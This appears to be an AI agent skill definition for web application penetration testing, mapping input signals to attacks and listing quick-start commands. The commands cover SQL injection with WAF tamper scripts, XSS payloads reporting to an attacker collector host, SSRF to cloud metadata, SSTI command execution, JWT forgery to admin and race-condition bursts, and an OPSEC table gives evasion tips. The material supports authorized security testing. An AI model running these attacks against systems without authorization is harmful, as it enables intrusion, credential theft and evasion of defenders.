Web Pentest

Web Application Penetration Testing

When to Activate

• Web application security assessment (black/grey/white box)
• API security testing (REST, GraphQL, WebSocket)
• Authentication & session management testing (JWT, OAuth/OIDC, SAML)
• Business-logic and race-condition hunting
• WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
• Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud

metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

| Input signal you observe | Test for | Go to |

|--------------------------|----------|-------|

| id, uid, order_id, account, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |

| url, next, callback, dest, webhook, image_url | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |

| price, qty, coupon, balance, status, state change | business logic + single-packet race | references/http-desync-cache.md (race) |

| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |

| search/filter/sort reflected; q=, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |

| token, jwt, Authorization, Cookie, OAuth state | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |

| serialized blob / base64 object / __proto__ | deserialization, prototype pollution | references/ssti-deserialization.md |

| behind CDN/cache; X-Forwarded-*; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |

Technique Map

| Technique | ATT&CK | CWE | Reference | Script |

|-----------|--------|-----|-----------|--------|

| SQL injection (UNION/blind/NoSQL) | T1190 | CWE-89 | references/injection-sqli-cmdi.md | scripts/ssrf_toolkit.py (probe pattern) / sqlmap |

| OS command / argument injection | T1059 | CWE-78 / CWE-88 | references/injection-sqli-cmdi.md | - |

| Reflected/stored/DOM XSS | T1059.007 | CWE-79 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |

| CSP bypass / script gadgets | T1059.007 | CWE-1021 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |

| Client-side prototype pollution -> XSS | T1059.007 | CWE-1321 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |

| SSRF + cloud metadata theft | T1552.005 | CWE-918 | references/ssrf-cloud-metadata.md | scripts/ssrf_toolkit.py |

| IMDSv2 bypass (Axios gadget) | T1552.005 | CWE-113 | references/ssrf-cloud-metadata.md | scripts/proto_ssti_gadgets.py |

| HTTP request smuggling / desync | T1190 | CWE-444 | references/http-desync-cache.md | scripts/desync_probe.py |

| Web cache poisoning / deception | T1557 | CWE-525 | references/http-desync-cache.md | scripts/desync_probe.py |

| SSTI -> RCE (Jinja2/Twig/FM/...) | T1059 | CWE-1336 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |

| Server-side prototype pollution -> RCE | T1059 | CWE-1321 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |

| Insecure deserialization (Java/.NET/PHP) | T1059 | CWE-502 | references/ssti-deserialization.md | ysoserial / ysoserial.net |

| JWT forgery (none/confusion/jku/jwk/kid) | T1078 | CWE-347 | references/auth-api-access-control.md | scripts/jwt_forge.py |

| OAuth/OIDC/SAML auth bypass | T1078 | CWE-287 | references/auth-api-access-control.md | scripts/jwt_forge.py |

| GraphQL abuse (batch/alias/depth) | T1190 | CWE-770 | references/auth-api-access-control.md | scripts/graphql_audit.py |

| IDOR / BOLA / mass assignment | T1078 | CWE-639 / CWE-915 | references/auth-api-access-control.md | - |

| Race condition (single-packet) | T1190 | CWE-362 | references/auth-api-access-control.md | scripts/race_single_packet.py |

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

| Technique | Telemetry / IOC | Detection (Sigma/EDR) | OPSEC note |

|-----------|-----------------|------------------------|------------|

| SQLi / cmdi | SQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curl | webserver regex Sigma; EDR child-shell from www-data | time-based is slow+noisy; --random-agent --delay, in-band reads first |

| XSS / CSP / client-PP | <script, onerror=, __proto__ in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent __proto__ can break shared cached pages — avoid |

| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |

| HTTP desync / cache | CL+TE together, obs-fold, Expect on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |

| SSTI / PP / deser | {{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egress | webserver/body Sigma; EDR java->LDAP/RMI | id probe first; reverse shells trip EDR; revert polluted config |

| JWT / OAuth / GraphQL | alg:none, unknown jku/kid, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |

| Race (single-packet) | burst of near-simultaneous mutating requests | rate-by-endpoint Sigma in 1s window | keep -n low; document state mutated for cleanup |

Deep Dives

• references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command

& argument injection, sqlmap tamper workflow, modern WAF/Unicode evasion.

• references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass +

script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.

• references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis,

AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch,

2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).

• references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect &

CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception

("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.

• references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes

(CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter,

NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.

• references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL

batch/alias/depth abuse, IDOR/BOLA/mass assignment, business logic, and the

HTTP/2 single-packet race attack.

• references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for

ground-truth traffic + replay-with-auth, with mandatory header redaction

(redact_headers.py) at the data boundary.